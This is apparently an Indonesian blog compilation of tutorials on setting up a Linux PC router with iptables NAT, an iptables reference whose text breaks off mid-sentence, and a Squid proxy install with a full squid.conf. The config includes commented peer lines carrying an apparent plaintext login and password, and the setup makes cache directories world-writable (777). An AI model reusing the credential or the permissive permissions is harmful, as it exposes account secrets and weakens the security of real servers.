Sabtu, 24 Januari 2009

PC ROUTER SEDERHANA

Sekarang bikin pc router sederhana ….
untuk bikin pc router, khususnya apabila kita menginginkan agar pc router tersebut nantinya dihubungkan ke komputer klient, kemudian mereka dapat terhubung ke internet, ada beberapa syarat wajib,
1. koneksi internet, bisa pake dial up, ato bisa pake wireless, ato bisa juga pake leased line, terserah, tapi yang pernting, koneksi seperti ini wajib ada.. hehehheh e..
2. kartu ethernet (di Indonesia - in ajka yak kekekke ..), paling ga butuh 2, satu di hubungkan ke modem kabel (kebetulan untuk uji coba ini pake modem kabel) satu lagi ke switch yang terhubung ke jaringan klient.
3. komputer yang udah ga ke pake lagi , tapi masi bisa digunakan. unuk bikin pc router ga perlu komuter yang sakti-sakti amat… mubazir .. hehhehehe..

=========================================
komputer yang saya jadi-in pc router spek nya sederhana kok
Untuk prosesor :
[root@jakarta root]# cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 5
model : 8
model name : AMD-K6(tm) 3D processor
stepping : 12
cpu MHz : 451.037
cache size : 64 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu vme de pse tsc msr mce cx8 pge mmx syscall 3dnow k6_mtrr
bogomips : 897.84

sedangkan untuk memori
[root@jakarta root]# cat /proc/meminfo
total: used: free: shared: buffers: cached:
Mem: 58970112 58294272 675840 0 6250496 35115008
Swap: 405643264 25161728 380481536
MemTotal: 57588 kB
MemFree: 660 kB
MemShared: 0 kB
Buffers: 6104 kB
Cached: 16016 kB
SwapCached: 18276 kB
Active: 41668 kB
ActiveAnon: 25528 kB
ActiveCache: 16140 kB
Inact_dirty: 112 kB
Inact_laundry: 8428 kB
Inact_clean: 944 kB
Inact_target: 10228 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 57588 kB
LowFree: 660 kB
SwapTotal: 396136 kB
SwapFree: 371564 kB

[root@jakarta root]# cat /etc/sysconfig/hwconf
detached: 0
device: eth
driver: 8139too
desc: “Realtek|RTL-8139/8139C/8139C+”
vendorId: 10ec
deviceId: 8139
subVendorId: 10ec
subDeviceId: 8139
pciType: 1
-
class: NETWORK
bus: PCI
detached: 0
device: eth
driver: 8139too
desc: “Realtek|RTL-8139/8139C/8139C+”
vendorId: 10ec
deviceId: 8139
subVendorId: 10ec
subDeviceId: 8139
pciType: 1

class: NETWORK
bus: PCI
detached: 0
device: eth
driver: 8139too
desc: “Realtek|RTL-8139/8139C/8139C+”
vendorId: 10ec
deviceId: 8139
subVendorId: 10ec
subDeviceId: 8139
pciType: 1
-
class: CDROM
bus: IDE
detached: 0
device: hdd
driver: ignore
desc: “LTN486S”
-
class: VIDEO
bus: PCI
detached: 0
driver: Card:Trident CyberBlade (generic)
desc: “Trident Microsystems|CyberBlade/i7″
vendorId: 1023
deviceId: 8400
subVendorId: 1023
subDeviceId: 8400
pciType: 1
-
class: HD
bus: IDE
detached: 0
device: hda
driver: ignore
desc: “QUANTUM FIREBALLlct20 10″
physical: 19885/16/63
logical: 19885/16/63
-
class: USB
bus: PCI
detached: 0
driver: usb-uhci
desc: “VIA Technologies|USB”
vendorId: 1106
deviceId: 3038
subVendorId: 0925
subDeviceId: 1234
pciType: 1

tuh spek umumnya … hehehhe
=========================================
sedangkan OS nya teteup … pake redhat9 , walaupun nih OS nyebelin dan sering ga user friendly, tapi aku tetep setia…

nah setelah eth dipasang, os keinstall langkah selanjutnya adalah:
1. kita harus mengetahui alamat network yang dikasi sama isp
2. ip public yang diberikan
3. alamat broadcast network yang diberikan isp

setelah itu baru setup network di pc router …
caranya
pake perintah
ifconfig eth0 ip_public_dari_isp
cuman karena di tempat saya pake cable, jadi ipnya di set dhcp, jadi saya cukup memberikan no MAC eth ke isp
langkah selanjutnya menentukan alamat network LAN
caranya sama …
trus ..
beri nilai 1 di file ini :
/proc/sys/net/ipv4/ip_forward

setelah itu ..
sebenarnya si dah jalan kalo cuman gitu doank, cuman, itu hanya berlaku buat di pcrouternya aja hehehhee …
nah sekarang kita set iptables, supaya bisa melakukan internet sharing. cara yang digunakan adalah dengan menggunakan teknik NAT (Network Address Translation), ada juga sih yang pake cara MASQ, cuman kalo saya pake NAT..
ini perintahnya

iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -t nat -A POSTROUTING -o eth0 -j SNAT –to 202.73.106.211
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state –state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state –state NEW -i ! eth0 -j ACCEPT

IP TABLES

Hal berikutnya yang harus anda persiapkan adalah sebuah komputer yang terinstall Linux. Akan lebih baik jika komputer anda memiliki 2 buah network interface card, sebab bisa menjalankan fungsi packet forwarding. Disarankan anda menggunakan linux dengan kernel 2.4 ke atas, karena (setahu saya) linux dengan kernel 2.4 ke atas sudah memiliki dukungan IPTables secara default, sehingga anda tidak perlu mengkompilasi ulang kernel anda. Bagi anda yang menggunakan kernel 2.2 atau sebelumnya, anda harus melakukan kompilasi kernel untuk memasukkan dukungan IPTables.

IPTables memiliki tiga macam daftar aturan bawaan dalam tabel penyaringan, daftar tersebut dinamakan rantai firewall (firewall chain) atau sering disebut chain saja. Ketiga chain tersebut adalah INPUT, OUTPUT dan FORWARD.

Pada diagram tersebut, lingkaran menggambarkan ketiga rantai atau chain. Pada saat sebuah paket sampai pada sebuah lingkaran, maka disitulah terjadi proses penyaringan. Rantai akan memutuskan nasib paket tersebut. Apabila keputusannnya adalah DROP,
maka paket tersebut akan di-drop. Tetapi jika rantai memutuskan untuk ACCEPT, maka paket akan dilewatkan melalui diagram tersebut.

Sebuah rantai adalah aturan-aturan yang telah ditentukan. Setiap aturan menyatakan “jika paket memiliki informasi awal (header) seperti ini, maka inilah yang harus dilakukan terhadap paket”. Jika aturan tersebut tidak sesuai dengan paket, maka aturan berikutnya akan memproses paket tersebut. Apabila sampai aturan terakhir yang ada, paket tersebut belum memenuhi salah satu aturan, maka kernel akan melihat kebijakan bawaan (default) untuk memutuskan apa yang harus dilakukan kepada paket tersebut. Ada dua kebijakan bawaan yaitu default DROP dan default ACCEPT.

Jalannya sebuah paket melalui diagram tersebut bisa dicontohkan sebagai berikut:

Perjalanan paket yang diforward ke host yang lain

1. Paket berada pada jaringan fisik, contoh internet.
2. Paket masuk ke interface jaringan, contoh eth0.
3. Paket masuk ke chain PREROUTING pada table Mangle. Chain ini berfungsi untuk me-mangle (menghaluskan) paket, seperti merubah TOS, TTL dan lain-lain.
4. Paket masuk ke chain PREROUTING pada tabel nat. Chain ini berfungsi utamanya untuk melakukan DNAT (Destination Network Address Translation).
5. Paket mengalami keputusan routing, apakah akan diproses oleh host lokal atau diteruskan ke host lain.
6. Paket masuk ke chain FORWARD pada tabel filter. Disinlah proses pemfilteran yang utama terjadi.
7. Paket masuk ke chain POSTROUTING pada tabel nat. Chain ini berfungsi utamanya untuk melakukan SNAT (Source Network Address Translation).
8. Paket keluar menuju interface jaringan, contoh eth1.
9. Paket kembali berada pada jaringan fisik, contoh LAN.

Perjalanan paket yang ditujukan bagi host lokal

1. Paket berada dalam jaringan fisik, contoh internet.
2. Paket masuk ke interface jaringan, contoh eth0.
3. Paket masuk ke chain PREROUTING pada tabel mangle.
4. Paket masuk ke chain PREROUTING pada tabel nat.
5. Paket mengalami keputusan routing.
6. Paket masuk ke chain INPUT pada tabel filter untuk mengalami proses penyaringan.
7. Paket akan diterima oleh aplikasi lokal.

Perjalanan paket yang berasal dari host lokal

1. Aplikasi lokal menghasilkan paket data yang akan dikirimkan melalui jaringan.
2. Paket memasuki chain OUTPUT pada tabel mangle.
3. Paket memasuki chain OUTPUT pada tabel nat.
4. Paket memasuki chain OUTPUT pada tabel filter.
5. Paket mengalami keputusan routing, seperti ke mana paket harus pergi dan melalui interface mana.
6. Paket masuk ke chain POSTROUTING pada tabel NAT.
7. Paket masuk ke interface jaringan, contoh eth0.
8. Paket berada pada jaringan fisik, contoh internet.
3. Sintaks IPTables

iptables [-t table] command [match] [target/jump]

1. Table

IPTables memiliki 3 buah tabel, yaitu NAT, MANGLE dan FILTER. Penggunannya disesuaikan dengan sifat dan karakteristik masing-masing. Fungsi dari masing-masing tabel tersebut sebagai berikut :
NAT : Secara umum digunakan untuk melakukan Network Address Translation. NAT adalah penggantian field alamat asal
atau alamat tujuan dari sebuah paket.
MANGLE : Digunakan untuk melakukan penghalusan (mangle) paket, seperti TTL, TOS dan MARK.
FILTER : Secara umum, inilah pemfilteran paket yang sesungguhnya.. Di sini bisa dintukan apakah paket akan di-DROP,
LOG, ACCEPT atau REJECT

2. Command

Command pada baris perintah IPTables akan memberitahu apa yang harus dilakukan terhadap lanjutan sintaks perintah. Umumnya dilakukan penambahan atau penghapusan sesuatu dari tabel atau yang lain.

Command

Keterangan

-A
–append

Perintah ini menambahkan aturan pada akhir chain. Aturan akan ditambahkan di akhir baris pada chain yang bersangkutan, sehingga akan dieksekusi terakhir

-D
–delete

Perintah ini menghapus suatu aturan pada chain. Dilakukan dengan cara menyebutkan secara lengkap perintah yang ingin dihapus atau dengan menyebutkan nomor baris dimana perintah akan dihapus.

-R
–replace

Penggunaannya sama seperti –delete, tetapi command ini menggantinya dengan entry yang baru.

-I
–insert

Memasukkan aturan pada suatu baris di chain. Aturan akan dimasukkan pada baris yang disebutkan, dan aturan awal yang menempati baris tersebut akan digeser ke bawah. Demikian pula baris-baris selanjutnya.

-L
–list

Perintah ini menampilkan semua aturan pada sebuah tabel. Apabila tabel tidak disebutkan, maka seluruh aturan pada semua tabel akan ditampilkan, walaupun tidak ada aturan sama sekali pada sebuah tabel. Command ini bisa dikombinasikan dengan option –v (verbose), -n (numeric) dan –x (exact).

-F
–flush

Perintah ini mengosongkan aturan pada sebuah chain. Apabila chain tidak disebutkan, maka semua chain akan di-flush.

-N
–new-chain

Perintah tersebut akan membuat chain baru.

-X
–delete-chain

Perintah ini akan menghapus chain yang disebutkan. Agar perintah di atas berhasil, tidak boleh ada aturan lain yang mengacu kepada chain tersebut.

-P
–policy

Perintah ini membuat kebijakan default pada sebuah chain. Sehingga jika ada sebuah paket yang tidak memenuhi aturan pada baris-baris yang telah didefinisikan, maka paket akan diperlakukan sesuai dengan kebijakan default ini.

-E
–rename-chain

Perintah ini akan merubah nama suatu chain.

..::# Option #::..

Option digunakan dikombinasikan dengan command tertentu yang akan menghasilkan suatu variasi perintah.

Option

Command Pemakai

Keterangan

-v
–verbose

–list
–append
–insert
–delete
–replace

Memberikan output yang lebih detail, utamanya digunakan dengan –list. Jika digunakan dengan –list, akan menampilkam K (x1.000), M (1.000.000) dan G (1.000.000.000).

-x
–exact

–list

Memberikan output yang lebih tepat.

-n
–numeric

–list

Memberikan output yang berbentuk angka. Alamat IP dan nomor port akan ditampilkan dalam bentuk angka dan bukan hostname ataupun nama aplikasi/servis.

–line-number

–list

Akan menampilkan nomor dari daftar aturan. Hal ni akan mempermudah bagi kita untuk melakukan modifikasi aturan, jika kita mau meyisipkan atau menghapus aturan dengan nomor tertentu.

–modprobe

All

Memerintahkan IPTables untuk memanggil modul tertentu. Bisa digunakan bersamaan dengan semua command.

4. Generic Matches

Generic Matches artinya pendefinisian kriteria yang berlaku secara umum. Dengan kata lain, sintaks generic matches akan sama untuk semua protokol. Setelah protokol didefinisikan, maka baru didefinisikan aturan yang lebih spesifik yang dimiliki oleh protokol tersebut. Hal ini dilakukan karena tiap-tiap protokol memiliki karakteristik yang berbeda, sehingga memerlukan perlakuan khusus.

Match

Keterangan

-p
–protocol

Digunakan untuk mengecek tipe protokol tertentu. Contoh protokol yang umum adalah TCP, UDP, ICMP dan ALL. Daftar protokol bisa dilihat pada /etc/protocols.

Tanda inversi juga bisa diberlakukan di sini, misal kita menghendaki semua protokol kecuali icmp, maka kita bisa menuliskan –protokol ! icmp yang berarti semua kecuali icmp.

-s
–src
–source

Kriteria ini digunakan untuk mencocokkan paket berdasarkan alamat IP asal. Alamat di sini bisa berbentuk alamat tunggal seperti 192.168.0.1, atau suatu alamat network menggunakan netmask misal 192.168.0.0/255.255.255.0, atau bisa juga ditulis 192.168.0.0/24 yang artinya semua alamat 192.168.0.x. Kita juga bisa menggunakan inversi.

-d
–dst
–destination

Digunakan untuk mecocokkan paket berdasarkan alamat tujuan. Penggunaannya sama dengan match –src

-i
–in-interface

Match ini berguna untuk mencocokkan paket berdasarkan interface di mana paket datang. Match ini hanya berlaku pada chain INPUT, FORWARD dan PREROUTING

-o
–out-interface

Berfungsi untuk mencocokkan paket berdasarkan interface di mana paket keluar. Penggunannya sama dengan –in-interface. Berlaku untuk chain OUTPUT, FORWARD dan POSTROUTING

5. Implicit Matches

Implicit Matches adalah match yang spesifik untuk tipe protokol tertentu. Implicit Match merupakan sekumpulan rule yang akan diload setelah tipe protokol disebutkan. Ada 3 Implicit Match berlaku untuk tiga jenis protokol, yaitu TCP matches, UDP matches dan ICMP matches.

a. TCP matches

Match

Keterangan

–sport
–source-port

Match ini berguna untuk mecocokkan paket berdasarkan port asal. Dalam hal ini kia bisa mendefinisikan nomor port atau nama service-nya. Daftar nama service dan nomor port yang bersesuaian dapat dilihat di /etc/services.

–sport juga bisa dituliskan untuk range port tertentu. Misalkan kita ingin mendefinisikan range antara port 22 sampai dengan 80, maka kita bisa menuliskan –sport 22:80.

Jika bagian salah satu bagian pada range tersebut kita hilangkan maka hal itu bisa kita artikan dari port 0, jika bagian kiri yang kita hilangkan, atau 65535 jika bagian kanan yang kita hilangkan. Contohnya –sport :80 artinya paket dengan port asal nol sampai dengan 80, atau –sport 1024: artinya paket dengan port asal 1024 sampai dengan 65535. Match ini juga mengenal inversi.

–dport

–destination-port

Penggunaan match ini sama dengan match –source-port.

–tcp-flags

Digunakan untuk mencocokkan paket berdasarkan TCP flags yang ada pada paket tersebut. Pertama, pengecekan akan mengambil daftar flag yang akan diperbandingkan, dan kedua, akan memeriksa paket yang di-set 1, atau on.

Pada kedua list, masing-masing entry-nya harus dipisahkan oleh koma dan tidak boleh ada spasi antar entry, kecuali spasi antar kedua list. Match ini mengenali SYN,ACK,FIN,RST,URG, PSH. Selain itu kita juga menuliskan ALL dan NONE. Match ini juga bisa menggunakan inversi.

–syn

Match ini akan memeriksa apakah flag SYN di-set dan ACK dan FIN tidak di-set. Perintah ini sama artinya jika kita menggunakan match –tcp-flags SYN,ACK,FIN SYN

Paket dengan match di atas digunakan untuk melakukan request koneksi TCP yang baru terhadap server

b. UDP Matches

Karena bahwa protokol UDP bersifat connectionless, maka tidak ada flags yang mendeskripsikan status paket untuk untuk membuka atau menutup koneksi. Paket UDP juga tidak memerlukan acknowledgement. Sehingga Implicit Match untuk protokol UDP lebih sedikit daripada TCP.
Ada dua macam match untuk UDP:

–sport atau –source-port
–dport atau –destination-port

c. ICMP Matches

Paket ICMP digunakan untuk mengirimkan pesan-pesan kesalahan dan kondisi-kondisi jaringan yang lain. Hanya ada satu implicit match untuk tipe protokol ICMP, yaitu :

–icmp-type

6. Explicit Matches

a. MAC Address

Match jenis ini berguna untuk melakukan pencocokan paket berdasarkan MAC source address. Perlu diingat bahwa MAC hanya berfungsi untuk jaringan yang menggunakan teknologi ethernet.

iptables –A INPUT –m mac –mac-source oo:00:00:00:00:01

b. Multiport Matches

Ekstensi Multiport Matches digunakan untuk mendefinisikan port atau port range lebih dari satu, yang berfungsi jika ingin didefinisikan aturan yang sama untuk beberapa port. Tapi hal yang perlu diingat bahwa kita tidak bisa menggunakan port matching standard dan multiport matching dalam waktu yang bersamaan.

iptables –A INPUT –p tcp –m multiport –source-port 22,53,80,110

c. Owner Matches

Penggunaan match ini untuk mencocokkan paket berdasarkan pembuat atau pemilik/owner paket tersebut. Match ini bekerja dalam chain OUTPUT, akan tetapi penggunaan match ini tidak terlalu luas, sebab ada beberapa proses tidak memiliki owner .

iptables –A OUTPUT –m owner –uid-owner 500

Kita juga bisa memfilter berdasarkan group ID dengan sintaks –gid-owner. Salah satu penggunannya adalah bisa mencegah user selain yang dikehendaki untuk mengakses internet misalnya.

d. State Matches

Match ini mendefinisikan state apa saja yang cocok. Ada 4 state yang berlaku, yaitu NEW, ESTABLISHED, RELATED dan INVALID. NEW digunakan untuk paket yang akan memulai koneksi baru. ESTABLISHED digunakan jika koneksi telah tersambung
dan paket-paketnya merupakan bagian dari koneki tersebut. RELATED digunakan untuk paket-paket yang bukan bagian dari koneksi tetapi masih berhubungan dengan koneksi tersebut, contohnya adalah FTP data transfer yang menyertai sebuah koneksi TCP atau UDP. INVALID adalah paket yang tidak bisa diidentifikasi, bukan merupakan bagian dari koneksi yang ada.

iptables –A INPUT –m state –state RELATED,ESTABLISHED

7. Target/Jump

Target atau jump adalah perlakuan yang diberikan terhadap paket-paket yang memenuhi kriteria atau match. Jump memerlukan sebuah chain yang lain dalam tabel yang sama. Chain tersebut nantinya akan dimasuki oleh paket yang memenuhi kriteria. Analoginya ialah chain baru nanti berlaku sebagai prosedur/fungsi dari program utama. Sebagai contoh dibuat sebuah chain yang bernama tcp_packets. Setelah ditambahkan aturan-aturan ke dalam chain tersebut, kemudian chain tersebut akan direferensi dari chain input.

iptables –A INPUT –p tcp –j tcp_packets

Target

Keterangan

-j ACCEPT
–jump ACCEPT

Ketika paket cocok dengan daftar match dan target ini diberlakukan, maka paket tidak akan melalui baris-baris aturan yang lain dalam chain tersebut atau chain yang lain yang mereferensi chain tersebut. Akan tetapi paket masih akan memasuki chain-chain pada tabel yang lain seperti biasa.

-j DROP
–jump DROP

Target ini men-drop paket dan menolak untuk memproses lebih jauh. Dalam beberapa kasus mungkin hal ini kurang baik, karena akan meninggalkan dead socket antara client dan server.

Paket yang menerima target DROP benar-benar mati dan target tidak akan mengirim informasi tambahan dalam bentuk apapun kepada client atau server.

-j RETURN
–jump RETURN

Target ini akan membuat paket berhenti melintasi aturan-aturan pada chain dimana paket tersebut menemui target RETURN. Jika chain merupakan subchain dari chain yang lain, maka paket akan kembali ke superset chain di atasnya dan masuk ke baris aturan berikutnya. Apabila chain adalah chain utama misalnya INPUT, maka paket akan dikembalikan kepada kebijakan default dari chain tersebut.

-j MIRROR

Apabila kompuuter A menjalankan target seperti contoh di atas, kemudian komputer B melakukan koneksi http ke komputer A, maka yang akan muncul pada browser adalah website komputer B itu sendiri. Karena fungsi utama target ini adalah membalik source address dan destination address.

Target ini bekerja pada chain INPUT, FORWARD dan PREROUTING atau chain buatan yang dipanggil melalui chain tersebut.

Beberapa target yang lain biasanya memerlukan parameter tambahan:

a. LOG Target

Ada beberapa option yang bisa digunakan bersamaan dengan target ini. Yang pertama adalah yang digunakan untuk menentukan tingkat log. Tingkatan log yang bisa digunakan adalah debug, info, notice, warning, err, crit, alert dan emerg.Yang kedua adalah -j LOG –log-prefix yang digunakan untuk memberikan string yang tertulis pada awalan log, sehingga memudahkan pembacaan log tersebut.

iptables –A FORWARD –p tcp –j LOG –log-level debug
iptables –A INPUT –p tcp –j LOG –log-prefix “INPUT Packets”

b. REJECT Target

Secara umum, REJECT bekerja seperti DROP, yaitu memblok paket dan menolak untuk memproses lebih lanjut paket tersebut. Tetapi, REJECT akan mengirimkan error message ke host pengirim paket tersebut. REJECT bekerja pada chain INPUT, OUTPUT
dan FORWARD atau pada chain

INSTLASI SQUID

Tutorial berikut berisi tentang instalasi squid. untuk isi dari squid.conf nya saya mengambil dari tulisan balinux.or.id, yang dibuat oleh saudara ockta (http//ockta-icedisk.blogspot.com). untuk isi squid.conf, bisa dimodifikasi sesuai kebutuhan kita

instalasi squid
1. extrak paket
#tar -xvzf squid-2.6.STABLE4.tar.gz

2. kemudian lakukan kompilasi squid
[root@gateway squid-2.6.STABLE4]#./configure –prefix=/usr/local/squid –sysconfdir=/etc/ –enable-gnuregex –enable-icmp –enable-delay-pools –enable-snmp –enable-htcp –enable-ssl –enable-cache-digests –enable-linux-netfilter –enable-large-cache-files –enable-carp –with-pthreads –enable-carp –with-pthreads –enable-storeio=diskd,ufs –enable-removal-policies=heap –enable-arp-acl –enable-forw-via-db –enable-leakfinder –enable-truncate –enable-underscores –enable-stacktraces –enable-dlmalloc

[root@gateway squid-2.6.STABLE4]#make
[root@gateway squid-2.6.STABLE4]#make install

3. buat directory cache, kemudian ubah hak aksesnya
[root@gateway squid-2.6.STABLE4]# mkdir –mode=777 /usr/local/squid/var/cache
[root@gateway squid-2.6.STABLE4]# chown -Rf squid.squid /usr/local/squid/var/cache/
4. buat file access.log dan cache.log
[root@gateway squid-2.6.STABLE4]# touch /usr/local/squid/var/logs/access.log
[root@gateway squid-2.6.STABLE4]# touch /usr/local/squid/var/logs/cache.log
5. buat permission akses filenya
[root@gateway squid-2.6.STABLE4]#chown -Rf squid.squid /usr/local/squid/var/logs/
[root@gateway squid-2.6.STABLE4]#chmod -Rf 777 /usr/local/squid/var/cache/

Editting squid.conf
“file /etc/squid.conf”
# file: Squid.conf
# Creted by : egi@nuxegi.net
#
#————————————————————————–
# Port yang digunakan 8080 atau 3128
#————————————————————————–
http_port 8080
icp_port 3130
#————————————————————————–
# Pilihan proxy
#————————————————————————–
#cache_peer 202.xxx.xxx.xxx parent 8080 3130 no-query default
#cache_peer sv.us.ircache.net parent 3128 3130 login=egi@nuxegi.net.id:FafboluveuvEecgi
#cache_peer sj.us.ircache.net parent 3128 3130 login=egi@nuxegi.net.id:FafboluveuvEecgi
#icp_query_timeout 2000
#maximum_icp_query_timeout 2000
#mcast_icp_query_timeout 2000
#dead_peer_timeout 15 seconds
hierarchy_stoplist cgi-bin
hierarchy_stoplist ?
acl QUERY urlpath_regex cgi-bin \?
no_cache deny QUERY
#prefer_direct off
#————————————————————————–
# Pilihan kebutuhan cache
#————————————————————————–
cache_mem 8 MB
cache_swap_low 90
cache_swap_high 95
minimum_object_size 0 KB
maximum_object_size 100 MB
maximum_object_size_in_memory 20 KB
ipcache_size 1024
ipcache_low 90
ipcache_high 95
fqdncache_size 1024
cache_replacement_policy heap GDSF
memory_replacement_policy heap GDSF
#————————————————————————–
# File Log dan tempat directori cache…direktori cache bisa dibuat lebih dari 1 (satu)
#————————————————————————–
cache_dir diskd /usr/local/squid/var/cache 3000 16 256 Q1=72 Q2=64
store_dir_select_algorithm round-robin
cache_access_log /usr/local/squid/var/logs/access.log
cache_log /usr/local/squid/var/logs/cache.log
cache_store_log /usr/local/squid/var/logs/store.log
emulate_httpd_log off
log_ip_on_direct off
log_fqdn off
log_mime_hdrs off
log_icp_queries off
buffered_logs off
debug_options ALL,1
mime_table /squid/etc/mime.conf

#————————————————————————–
# Options For External Support Programs
#————————————————————————–
ftp_user admin@dapenbni.co.id
ftp_list_width 32
ftp_passive on
#dns_nameservers 202.155.0.10 202.155.0.15
unlinkd_program /usr/local/squid/libexec/unlinkd
redirect_rewrites_host_header on
#————————————————————————–
# Options For Peer Database
#————————————————————————–
digest_generation on
digest_bits_per_entry 10
digest_rebuild_period 30 minutes
digest_rewrite_period 30 minutes
digest_swapout_chunk_size 6000 bytes
client_persistent_connections on
server_persistent_connections on
pipeline_prefetch on
store_dir_select_algorithm round-robin
#————————————————————————–
# Optimalkan cache
#————————————————————————–
request_header_max_size 10 KB
request_body_max_size 3 MB
#reply_body_max_size 500 MB
refresh_pattern -i \.gif$ 10080 90% 43200
refresh_pattern -i \.jpg$ 10080 90% 43200
refresh_pattern -i \.bom\.gov\.au 30 20% 120
refresh_pattern -i \.html$ 480 50% 22160
refresh_pattern -i \.htm$ 480 50% 22160
refresh_pattern -i \.class$ 10080 90% 43200
refresh_pattern -i \.zip$ 10080 90% 43200
refresh_pattern -i \.jpeg$ 10080 90% 43200
refresh_pattern -i \.mid$ 10080 90% 43200
refresh_pattern -i \.shtml$ 480 50% 22160
refresh_pattern -i \.exe$ 10080 90% 43200
refresh_pattern -i \.thm$ 10080 90% 43200
refresh_pattern -i \.wav$ 10080 90% 43200
refresh_pattern -i \.txt$ 10080 90% 43200
refresh_pattern -i \.cab$ 10080 90% 43200
refresh_pattern -i \.au$ 10080 90% 43200
refresh_pattern -i \.mov$ 10080 90% 43200
refresh_pattern -i \.xbm$ 10080 90% 43200
refresh_pattern -i \.ram$ 10080 90% 43200
refresh_pattern -i \.avi$ 10080 90% 43200
refresh_pattern -i \.chtml$ 480 50% 22160
refresh_pattern -i \.thb$ 10080 90% 43200
refresh_pattern -i \.dcr$ 10080 90% 43200
refresh_pattern -i \.bmp$ 10080 90% 43200
refresh_pattern -i \.phtml$ 480 50% 22160
refresh_pattern -i \.mpg$ 10080 90% 43200
refresh_pattern -i \.pdf$ 10080 90% 43200
refresh_pattern -i \.art$ 10080 90% 43200
refresh_pattern -i \.swf$ 10080 90% 43200
refresh_pattern -i \.mp3$ 10080 90% 43200
refresh_pattern -i \.ra$ 10080 90% 43200
refresh_pattern -i \.spl$ 10080 90% 43200
refresh_pattern -i \.viv$ 10080 90% 43200
refresh_pattern -i \.doc$ 10080 90% 43200
refresh_pattern -i \.gz$ 10080 90% 43200
refresh_pattern -i \.Z$ 10080 90% 43200
refresh_pattern -i \.tgz$ 10080 90% 43200
refresh_pattern -i \.tar$ 10080 90% 43200
refresh_pattern -i \.vrm$ 10080 90% 43200
refresh_pattern -i \.vrml$ 10080 90% 43200
refresh_pattern -i \.aif$ 10080 90% 43200
refresh_pattern -i \.aifc$ 10080 90% 43200
refresh_pattern -i \.aiff$ 10080 90% 43200
refresh_pattern -i \.arj$ 10080 90% 43200
refresh_pattern -i \.c$ 10080 90% 43200
refresh_pattern -i \.cpt$ 10080 90% 43200
refresh_pattern -i \.dir$ 10080 90% 43200
refresh_pattern -i \.dxr$ 10080 90% 43200
refresh_pattern -i \.hqx$ 10080 90% 43200
refresh_pattern -i \.jpe$ 10080 90% 43200
refresh_pattern -i \.lha$ 10080 90% 43200
refresh_pattern -i \.lzh$ 10080 90% 43200
refresh_pattern -i \.midi$ 10080 90% 43200
refresh_pattern -i \.movie$ 10080 90% 43200
refresh_pattern -i \.mp2$ 10080 90% 43200
refresh_pattern -i \.mpe$ 10080 90% 43200
refresh_pattern -i \.mpeg$ 10080 90% 43200
refresh_pattern -i \.mpga$ 10080 90% 43200
refresh_pattern -i \.pl$ 10080 90% 43200
refresh_pattern -i \.ppt$ 10080 90% 43200
refresh_pattern -i \.ps$ 10080 90% 43200
refresh_pattern -i \.qt$ 10080 90% 43200
refresh_pattern -i \.qtm$ 10080 90% 43200
refresh_pattern -i \.ras$ 10080 90% 43200
refresh_pattern -i \.sea$ 10080 90% 43200
refresh_pattern -i \.sit$ 10080 90% 43200
refresh_pattern -i \.tif$ 10080 90% 43200
refresh_pattern -i \.tiff$ 10080 90% 43200
refresh_pattern -i \.snd$ 10080 90% 43200
refresh_pattern -i \.wrl$ 10080 90% 43200
refresh_pattern ^ftp:// 480 60% 22160
refresh_pattern ^gopher:// 30 20% 120
refresh_pattern . 480 50% 22160
#reference_age 1 month
quick_abort_min 16 KB
quick_abort_max 32 KB
quick_abort_pct 95
negative_ttl 5 minutes
positive_dns_ttl 6 hours
negative_dns_ttl 10 minutes
range_offset_limit 0 KB
connect_timeout 360 seconds
read_timeout 15 minutes
request_timeout 360 seconds
client_lifetime 100 day
half_closed_clients on
pconn_timeout 120 seconds
ident_timeout 10 seconds
shutdown_lifetime 30 seconds
announce_period 7 day
#————————————————————————–
# Timeouts
#————————————————————————–
connect_timeout 120 seconds
peer_connect_timeout 60 seconds
#siteselect_timeout 6 seconds
read_timeout 5 minutes
request_timeout 20 seconds
client_lifetime 1 day
half_closed_clients on
pconn_timeout 60 seconds
ident_timeout 5 seconds
shutdown_lifetime 30 seconds
#————————————————————————–
# Informasi Administrativ
#————————————————————————–
cache_mgr admin@dapenbni.co.id
cache_effective_user squid
cache_effective_group squid
visible_hostname gateway.dapenbni.co.id
unique_hostname gateway.dapenbni.co.id
#————————————————————————–
# Cache
#————————————————————————–
announce_host gateway.dapenbni.co.id
announce_port 8080
#————————————————————————–
# Kebutuhan Transparent Proxy
#————————————————————————–
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
httpd_accel_single_host off

#————————————————————————–
# Lain-lain
#————————————————————————–
logfile_rotate 5
memory_pools on
memory_pools_limit 200 MB
forwarded_for on
log_icp_queries on
icp_hit_stale on
minimum_direct_hops 5
minimum_direct_rtt 400
store_avg_object_size 13 KB
store_objects_per_bucket 50
client_db off
netdb_low 900
netdb_high 1000
netdb_ping_period 1 minutes
query_icmp on
test_reachability on
reload_into_ims on
#fake_user_agent SiNK1NGfuNK/1.0 (CP/M; 128-bit)
#————————————————————————–
# Manajemen Akses
#————————————————————————–
acl all src 0/0
acl internal src 192.168.0.0/24
acl allowedhost src 202.xxx.xxx.xxx
#acl blok url_regex -i gohip
#acl blok1 url_regex -i bonzi
#acl blok2 url_regex -i lolitas
#acl blok3 url_regex -i passthison
#acl blok4 url_regex -i dewisex
#acl blok5 url_regex -i lolitasworld
#acl blok6 url_regex -i netsetter
acl localservers src 202.xxx.xxx.xxx
acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl SSL_ports port 443 563
acl Safe_ports port 80 21 443 563 808 70 210 1025-65535
acl Safe_ports port 280
acl Safe_ports port 488
acl Safe_ports port 591
acl Safe_ports port 777
acl CONNECT method CONNECT
always_direct allow localhost
always_direct allow internal
always_direct allow allowedhost
http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
#http_access deny blok
#http_access deny blok1
#http_access deny blok2
#http_access deny blok3
#http_access deny blok4
#http_access deny blok5
#http_access deny blok6
http_access allow localhost
http_access allow internal
http_access allow allowedhost
http_access allow localservers
